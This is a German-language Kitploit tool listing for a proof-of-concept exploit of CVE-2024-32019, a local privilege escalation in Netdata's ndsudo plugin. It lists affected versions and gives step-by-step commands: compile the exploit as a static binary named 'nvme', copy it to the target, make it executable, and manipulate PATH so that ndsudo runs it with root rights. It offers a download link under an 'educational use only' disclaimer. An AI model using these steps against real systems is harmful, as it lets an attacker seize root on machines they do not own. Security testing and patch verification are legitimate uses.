CVE-2024-32019-POC — Proof-of-concept-Exploit für CVE-2024-32019, der eine lokale Rechteausweitung über einen nicht vertrauenswürdigen Suchpfad im ndsudo-Plugin von Netdata demonstriert. Enthält Kompilieranweisungen und Bereitstellungsschritte. | Kitploit

⚠️ CVE-2024-32019 - PoC

📌 Betroffene Versionen

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🛠️ Beweis des Konzepts

CVE-2024-32019 — ndsudo lokale Privilegieneskalation über nicht vertrauenswürdigen Suchpfad.

🔧 Exploit kompilieren

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 Auf dem Zielcomputer bereitstellen

Übertragen Sie die kompilierte Binärdatei auf die anfällige Maschine.
Machen Sie sie ausführbar:
```
chmod +x nvme
```
Nutzen Sie die anfällige Binärdatei über PATH-Manipulation aus (verwenden Sie denselben Pfad, in den Sie Ihre Binärdatei hochgeladen haben):
```
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
```

🔍 Referenz

Netdata-Sicherheitshinweis - GHSA-pmhq-4cxq-wj93

⚖️ Haftungsausschluss und Bedingungen

Dieser Proof-of-Concept (PoC)-Code wird nur für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.

Keine Erlaubnis wird erteilt, diesen Code zu ändern, weiterzuverteilen oder für andere Zwecke zu verwenden.
Unbefugte Verwendung oder Änderung kann illegal und unethisch sein.
Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden.

Tool herunterladen